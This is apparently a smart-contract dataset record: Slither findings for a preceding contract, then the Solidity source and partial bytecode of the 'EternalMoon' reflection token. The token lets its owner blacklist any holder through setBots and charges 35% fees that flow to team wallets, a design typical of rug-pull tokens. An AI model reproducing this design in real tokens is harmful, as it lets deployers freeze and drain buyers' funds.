6000205584818151811061188557fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ee8339815191528684815181106118bd57fe5b9060200190602002015160405190815260200160405180910390a3600101611813565b6001546000908190819033600160a060020a0390811691161461190257600080fd5b60008551118015611914575083518551145b151561191f57600080fd5b5060009050805b8451811015611b8557600084828151811061193d57fe5b90602001906020020151118015611971575084818151811061195b57fe5b90602001906020020151600160a060020a031615155b80156119b15750600a600086838151811061198857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119f65750600b60008683815181106119c857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a0157600080fd5b611a156305f5e10085838151811061178d57fe5b848281518110611a2157fe5b60209081029091010152838181518110611a3757fe5b9060200190602002015160086000878481518110611a5157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a8057600080fd5b611ad9848281518110611a8f57fe5b9060200190602002015160086000888581518110611aa957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fa116565b60086000878481518110611ae957fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b1c8482815181106117c857fe5b915033600160a060020a0316858281518110611b3457fe5b90602001906020020151600160a060020a03166000805160206123ee833981519152868481518110611b6257fe5b9060200190602002015160405190815260200160405180910390a3600101611926565b600160a060020a033316600090815260086020526040902054611191908363ffffffff611fb316565b60015433600160a060020a03908116911614611bc957600080fd5b600160a060020a0381161515611bde57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c735750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c985750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cbb5750600160a060020a0333166000908152600b602052604090205442115b8015611cde5750600160a060020a0385166000908152600b602052604090205442115b1515611ce957600080fd5b611cf285611fed565b15611f8b57600160a060020a03331660009081526008602052604090205484901015611d1d57600080fd5b600160a060020a033316600090815260086020526040902054611d46908563ffffffff611fa116565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d7b908563ffffffff611fb316565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc95780518252601f199092019160209182019101611daa565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e5a578082015183820152602001611e42565b50505050905090810190601f168015611e875780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611eab57fe5b826040518082805190602001908083835b60208310611edb5780518252601f199092019160209182019101611ebc565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3506001611f99565b611f96858585612258565b90505b949350505050565b600082821115611fad57fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fd557600091506113e4565b50828202828482811515611fe557fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201d57600080fd5b600160a060020a033316600090815260086020526040902054612046908563ffffffff611fa116565b600160a060020a03338116600090815260086020526040808220939093559087168152205461207b908563ffffffff611fb316565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121145780820151838201526020016120fc565b50505050905090810190601f1680156121415780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561216157600080fd5b6102c65a03f1151561217257600080fd5b505050826040518082805190602001908083835b602083106121a55780518252601f199092019160209182019101612186565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227e57600080fd5b600160a060020a0333166000908152600860205260409020546122a7908463ffffffff611fa116565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122dc908463ffffffff611fb316565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123295780518252601f19909201916020918201910161230a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123ee8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582095a609432ff32208ddc587754944ad6ab1942f48e0eaa6f47718649a1ba539e40029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,140
0x8da2d78da8266a27bc8ffd170fccf64616e6b90d
/* EternalMoon https://t.me/EternalMoonToken www.eternalmoon.org */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EternalMoon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EternalMoon"; string private constant _symbol = "EternalMoon"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 30; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 30; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f457465726e616c4d6f6f6e000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f457465726e616c4d6f6f6e000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016